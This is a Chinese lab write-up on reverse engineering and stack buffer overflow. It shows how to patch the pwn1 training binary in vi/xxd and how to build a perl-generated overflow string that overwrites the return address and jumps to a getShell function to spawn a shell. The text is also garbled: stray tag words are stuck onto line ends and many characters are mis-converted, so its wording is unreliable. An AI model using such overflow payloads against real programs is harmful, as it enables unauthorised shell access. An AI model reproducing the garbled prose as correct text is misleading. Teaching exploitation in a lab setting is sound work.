20145228《网络对抗》逆向及Bof基础

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。linux

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。shell

该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。函数

咱们将学习两种方法:学习

•利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。测试

•手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。code

基础知识

•objdump命令反汇编目标文件;对象

vi内blog

将显示模式切换为16进制模式ip

:%!xxd字符串

查找要修改的内容

/内容

转换16进制为原格式

:%!xxd -r

存盘退出vi

:wq

实验步骤

实验一、直接修改程序机器指令,改变程序执行流程

·首先进入Vi模式,而后输入:%!xxd,将显示模式切换为16进制模式

·查找要修改的内容/e8d7
·找到后先后的内容和反汇编的对比下,确认是地方是正确的

·修改d7为c3

·转换16进制为原格式:%!xxd -r
·存盘退出vi:wq

·运行下改后的代码,会获得shell提示符#

实验二、经过构造输入参数,形成BOF攻击,改变程序执行流

objdump -d pwn1 | more语句来实现反汇编,管道的做用是将前半段的输出做为后半段的输入,从而输出出来。

在输出的反汇编语句中找到getshell函数段

·使用gdb进行测试

从获得的eip值查ASCII码可得结果为1234

•使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input指令将perl生成的字符串存储到文件input中。

•使用输出重定向“>”将perl生成的字符串存储到文件input中。


•能够使用16进制查看指令xxd查看input文件的内容是否如预期。

•用(cat input; cat) | ./20145228将input文件做为输入

相关文章
相关标签/搜索